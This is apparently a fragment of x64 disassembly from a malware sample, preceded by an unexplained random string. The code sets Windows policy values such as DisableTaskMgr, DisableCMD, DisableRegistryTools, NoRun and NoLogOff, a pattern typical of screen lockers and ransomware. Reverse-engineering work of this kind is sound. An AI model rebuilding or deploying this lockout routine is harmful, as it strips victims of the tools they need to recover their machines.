KvDDOBUW2tMHeXKi6cXEcS6NhpodU9IcjpXwoDzv5rdqzEu_I8nc_1vfJnx299hDS45dFqpFV6tcYy2qQtHYYAQ2JwSN00Cllsr6OfZRxAdQTkXFTtEU72pmD9JeywO86BGHZN37CvAwEbEWuT8ydWQxxDzZrX08j
lea rcx, [0x14015c1e0]
call fcn.140001550
lea rcx, [0x1400016e0]
call fcn.140001500
lea rdx, str.DisableLockWorkstation
lea rcx, [0x14015c048]
mov dword [0x14015c040], 2
call fcn.140001550
lea rdx, str.DisableTaskMgr
lea rcx, [0x14015c070]
mov dword [0x14015c068], 2
call fcn.140001550
lea rdx, str.DisableCMD
lea rcx, [0x14015c098]
mov dword [0x14015c090], 2
call fcn.140001550
lea rdx, str.DisableRegistryTools
lea rcx, [0x14015c0c0]
mov dword [0x14015c0b8], 2
call fcn.140001550
lea rdx, str.NoClose
lea rcx, [0x14015c0e8]
mov dword [0x14015c0e0], 1
call fcn.140001550
lea rdx, str.NoRun
lea rcx, [0x14015c110]
mov dword [0x14015c108], 1
call fcn.140001550
lea rdx, str.NoLogOff
lea rcx, [0x14015c138]
mov dword [0x14015c130], 1
call fcn.140001550
lea rcx, [0x1400016a0]
add rsp, 0x20
pop rbx
pop rsi
pop r12
jmp fcn.140001500